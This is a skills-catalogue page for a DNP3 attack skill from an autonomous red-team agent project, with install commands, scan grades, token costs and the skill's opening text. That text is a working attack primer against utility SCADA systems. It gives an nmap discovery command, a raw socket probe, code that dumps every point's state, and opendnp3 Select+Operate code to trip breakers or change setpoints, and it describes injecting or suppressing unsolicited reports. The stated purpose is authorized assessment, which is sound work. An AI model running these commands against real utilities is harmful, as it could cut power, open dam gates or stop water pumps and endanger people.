Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill dnp3git clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/dnp3)<a href="https://agentmods.dev/skills/purpleailab/decepticon/dnp3"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dnp3/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dnp3"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dnp3.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 20 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00067 | $0.01260 |
| Opus 5 | $0.00034 | $0.00630 |
| Sonnet 5 | $0.00013 | $0.00252 |
| Haiku 4.5 | $0.00007 | $0.00126 |
Grade A, and why
ics-dnp3 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- dnp3 — 97% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DNP3 Attack — Utility SCADA
DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
Discover
# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'
Read attacks (passive — generally safe)
# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.
Control attacks (potentially HIGH IMPACT)
Control Relay Output Block (CROB) — trip / close a breaker
# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5) # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.
This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
Analog Output Block (AOB) — setpoint
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.
Unsolicited reporting abuse
DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
- Inject fake unsolicited reports (false alarms) — operator response cascade
- Suppress real reports — operator blind during a real fault
- Reply with stale data via timestamp tampering (Group 50 Var 1)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 119 lines · 67 tokens per session scan A b1c5b1b9ab0e
ics-dnp3 is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 67 tokens to every session and 1,260 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.